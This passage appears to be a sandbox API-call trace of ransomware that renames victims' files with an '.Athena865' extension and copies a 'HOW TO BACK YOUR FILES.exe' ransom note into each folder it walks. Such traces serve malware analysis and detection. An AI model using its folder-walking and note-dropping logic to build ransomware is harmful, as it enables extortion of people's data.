(lpString1="Athena865", lpString2="Athena865") returned 0 [0102.363] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x215efa80, ftCreationTime.dwHighDateTime=0x1d4d428, ftLastAccessTime.dwLowDateTime=0x9f6c5cd0, ftLastAccessTime.dwHighDateTime=0x1d4ce0e, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x9360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZzLapX9_v4.bmp.Athena865", cAlternateFileName="ZZLAPX~1.ATH")) returned 1 [0102.363] lstrcmpiW (lpString1="ZzLapX9_v4.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.363] lstrcmpiW (lpString1="ZzLapX9_v4.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.363] lstrcpyW (in: lpString1=0x241e8d8, lpString2="ZzLapX9_v4.bmp.Athena865" | out: lpString1="ZzLapX9_v4.bmp.Athena865") returned="ZzLapX9_v4.bmp.Athena865" [0102.363] lstrlenW (lpString="ZzLapX9_v4.bmp.Athena865") returned 24 [0102.363] lstrlenW (lpString="Athena865") returned 9 [0102.363] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.363] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x292a07d0, ftCreationTime.dwHighDateTime=0x1d4c93f, ftLastAccessTime.dwLowDateTime=0x8970abf0, ftLastAccessTime.dwHighDateTime=0x1d4c7f3, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc4d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_F0g8hcXHkDTsY8z.bmp.Athena865", cAlternateFileName="_F0G8H~1.ATH")) returned 1 [0102.363] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.363] lstrcmpiW (lpString1="_F0g8hcXHkDTsY8z.bmp.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.363] lstrcpyW (in: lpString1=0x241e8d8, lpString2="_F0g8hcXHkDTsY8z.bmp.Athena865" | out: lpString1="_F0g8hcXHkDTsY8z.bmp.Athena865") returned="_F0g8hcXHkDTsY8z.bmp.Athena865" [0102.364] lstrlenW (lpString="_F0g8hcXHkDTsY8z.bmp.Athena865") returned 30 [0102.364] lstrlenW (lpString="Athena865") returned 9 [0102.364] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.364] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x292a07d0, ftCreationTime.dwHighDateTime=0x1d4c93f, ftLastAccessTime.dwLowDateTime=0x8970abf0, ftLastAccessTime.dwHighDateTime=0x1d4c7f3, ftLastWriteTime.dwLowDateTime=0xc68a4de0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xc4d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_F0g8hcXHkDTsY8z.bmp.Athena865", cAlternateFileName="_F0G8H~1.ATH")) returned 0 [0102.364] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.364] ReleaseMutex (hMutex=0xec) returned 1 [0102.364] CloseHandle (hObject=0xec) returned 1 [0102.364] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes" [0102.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a9c8 | out: hHeap=0x4f0000) returned 1 [0102.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a4d8 | out: hHeap=0x4f0000) returned 1 [0102.364] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes") returned 69 [0102.364] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6FF52E061012ED13A68EDD2F9596A1C7") returned 0xec [0102.364] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.364] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes" [0102.364] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.364] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my shapes\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.365] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my shapes\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.365] GetLastError () returned 0x0 [0102.365] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.365] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.365] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.365] CloseHandle (hObject=0xf4) returned 1 [0102.365] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.365] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.365] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xe42eed60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe42eed60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.365] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.365] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.366] lstrcpyW (in: lpString1=0x241e8d4, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.367] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.367] lstrlenW (lpString="Athena865") returned 9 [0102.367] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.367] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss.Athena865", cAlternateFileName="FAVORI~1.ATH")) returned 1 [0102.367] lstrcmpiW (lpString1="Favorites.vss.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.367] lstrcmpiW (lpString1="Favorites.vss.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.367] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Favorites.vss.Athena865" | out: lpString1="Favorites.vss.Athena865") returned="Favorites.vss.Athena865" [0102.367] lstrlenW (lpString="Favorites.vss.Athena865") returned 23 [0102.367] lstrlenW (lpString="Athena865") returned 9 [0102.367] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.367] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5dc8980, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc5dc8980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.367] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.367] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xe42eed60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe42eed60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0102.367] lstrcmpiW (lpString1="_private", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.367] lstrcmpiW (lpString1="_private", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.367] lstrcpyW (in: lpString1=0x241e8d4, lpString2="_private" | out: lpString1="_private") returned="_private" [0102.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a4d8 [0102.367] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x5230c8 [0102.367] lstrcatW (in: lpString1="_private", lpString2="\\" | out: lpString1="_private\\") returned="_private\\" [0102.367] lstrcatW (in: lpString1="_private\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="_private\\HOW TO BACK YOUR FILES.exe") returned="_private\\HOW TO BACK YOUR FILES.exe" [0102.367] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Shapes\\_private\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my shapes\\_private\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.368] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0xe42eed60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe42eed60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0102.368] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.368] ReleaseMutex (hMutex=0xec) returned 1 [0102.368] CloseHandle (hObject=0xec) returned 1 [0102.368] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos" [0102.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d20 | out: hHeap=0x4f0000) returned 1 [0102.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a4f0 | out: hHeap=0x4f0000) returned 1 [0102.368] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos") returned 69 [0102.368] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\B3C282A5B65C806DD38859016579AFBD") returned 0xec [0102.368] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.368] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos" [0102.368] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.368] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my videos\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.369] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my videos\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.369] GetLastError () returned 0x0 [0102.370] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.370] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.370] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.370] CloseHandle (hObject=0xf4) returned 1 [0102.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.371] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.371] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc76c7080, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc76c7080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.371] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.371] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.371] lstrcpyW (in: lpString1=0x241e8d4, lpString2="3YVoBFm.mkv.Athena865" | out: lpString1="3YVoBFm.mkv.Athena865") returned="3YVoBFm.mkv.Athena865" [0102.371] lstrlenW (lpString="3YVoBFm.mkv.Athena865") returned 21 [0102.371] lstrlenW (lpString="Athena865") returned 9 [0102.371] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.371] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d29290, ftCreationTime.dwHighDateTime=0x1d4c74f, ftLastAccessTime.dwLowDateTime=0x4affd480, ftLastAccessTime.dwHighDateTime=0x1d4d2e9, ftLastWriteTime.dwLowDateTime=0xc762eb00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x168c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6GN7BUw0CPUmuCf.mp4.Athena865", cAlternateFileName="6GN7BU~1.ATH")) returned 1 [0102.371] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.371] lstrcmpiW (lpString1="6GN7BUw0CPUmuCf.mp4.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.371] lstrcpyW (in: lpString1=0x241e8d4, lpString2="6GN7BUw0CPUmuCf.mp4.Athena865" | out: lpString1="6GN7BUw0CPUmuCf.mp4.Athena865") returned="6GN7BUw0CPUmuCf.mp4.Athena865" [0102.371] lstrlenW (lpString="6GN7BUw0CPUmuCf.mp4.Athena865") returned 29 [0102.371] lstrlenW (lpString="Athena865") returned 9 [0102.371] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.371] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0102.371] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.371] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.371] lstrcpyW (in: lpString1=0x241e8d4, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.371] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.371] lstrlenW (lpString="Athena865") returned 9 [0102.372] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.372] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0c1cc70, ftCreationTime.dwHighDateTime=0x1d4c7f4, ftLastAccessTime.dwLowDateTime=0x8033d680, ftLastAccessTime.dwHighDateTime=0x1d4d229, ftLastWriteTime.dwLowDateTime=0xc7654c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x1d10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f-3vjzYl3-wGj3OqsI.flv.Athena865", cAlternateFileName="F-3VJZ~1.ATH")) returned 1 [0102.372] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.372] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.372] lstrcpyW (in: lpString1=0x241e8d4, lpString2="f-3vjzYl3-wGj3OqsI.flv.Athena865" | out: lpString1="f-3vjzYl3-wGj3OqsI.flv.Athena865") returned="f-3vjzYl3-wGj3OqsI.flv.Athena865" [0102.372] lstrlenW (lpString="f-3vjzYl3-wGj3OqsI.flv.Athena865") returned 32 [0102.372] lstrlenW (lpString="Athena865") returned 9 [0102.372] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.372] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf1c2e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.372] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.372] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949798e0, ftCreationTime.dwHighDateTime=0x1d4c5e6, ftLastAccessTime.dwLowDateTime=0xc7654c60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7654c60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="u8GDhzgOr1", cAlternateFileName="U8GDHZ~1")) returned 1 [0102.372] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.372] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.372] lstrcpyW (in: lpString1=0x241e8d4, lpString2="u8GDhzgOr1" | out: lpString1="u8GDhzgOr1") returned="u8GDhzgOr1" [0102.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a4f0 [0102.372] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa2) returned 0x512e58 [0102.372] lstrcatW (in: lpString1="u8GDhzgOr1", lpString2="\\" | out: lpString1="u8GDhzgOr1\\") returned="u8GDhzgOr1\\" [0102.372] lstrcatW (in: lpString1="u8GDhzgOr1\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe") returned="u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" [0102.372] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos\\u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my videos\\u8gdhzgor1\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.373] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64703670, ftCreationTime.dwHighDateTime=0x1d4d5a6, ftLastAccessTime.dwLowDateTime=0xb07c25c0, ftLastAccessTime.dwHighDateTime=0x1d4d4f1, ftLastWriteTime.dwLowDateTime=0xc767adc0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x10de0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", cAlternateFileName="VEFVTK~1.ATH")) returned 1 [0102.373] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.373] lstrcmpiW (lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.373] lstrcpyW (in: lpString1=0x241e8d4, lpString2="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865" | out: lpString1="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865") returned="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865" [0102.373] lstrlenW (lpString="veFVtkJ6vB2zgbhD4Roq.mkv.Athena865") returned 34 [0102.373] lstrlenW (lpString="Athena865") returned 9 [0102.373] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.373] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac1a5c0, ftCreationTime.dwHighDateTime=0x1d4c91a, ftLastAccessTime.dwLowDateTime=0xc76a0f20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc76a0f20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xq4jS8elFnsM1RuTo", cAlternateFileName="XQ4JS8~1")) returned 1 [0102.373] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.373] lstrcmpiW (lpString1="Xq4jS8elFnsM1RuTo", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.373] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Xq4jS8elFnsM1RuTo" | out: lpString1="Xq4jS8elFnsM1RuTo") returned="Xq4jS8elFnsM1RuTo" [0102.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52a4c0 [0102.373] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x542be0 [0102.373] lstrcatW (in: lpString1="Xq4jS8elFnsM1RuTo", lpString2="\\" | out: lpString1="Xq4jS8elFnsM1RuTo\\") returned="Xq4jS8elFnsM1RuTo\\" [0102.373] lstrcatW (in: lpString1="Xq4jS8elFnsM1RuTo\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe") returned="Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" [0102.373] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\My Documents\\My Videos\\Xq4jS8elFnsM1RuTo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\my documents\\my videos\\xq4js8elfnsm1ruto\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.374] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd079b50, ftCreationTime.dwHighDateTime=0x1d4c62c, ftLastAccessTime.dwLowDateTime=0x93d0e780, ftLastAccessTime.dwHighDateTime=0x1d4d25d, ftLastWriteTime.dwLowDateTime=0xc76c7080, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xaef0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zXm1.mp4.Athena865", cAlternateFileName="ZXM1MP~1.ATH")) returned 1 [0102.374] lstrcmpiW (lpString1="zXm1.mp4.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.374] lstrcmpiW (lpString1="zXm1.mp4.Athena865", 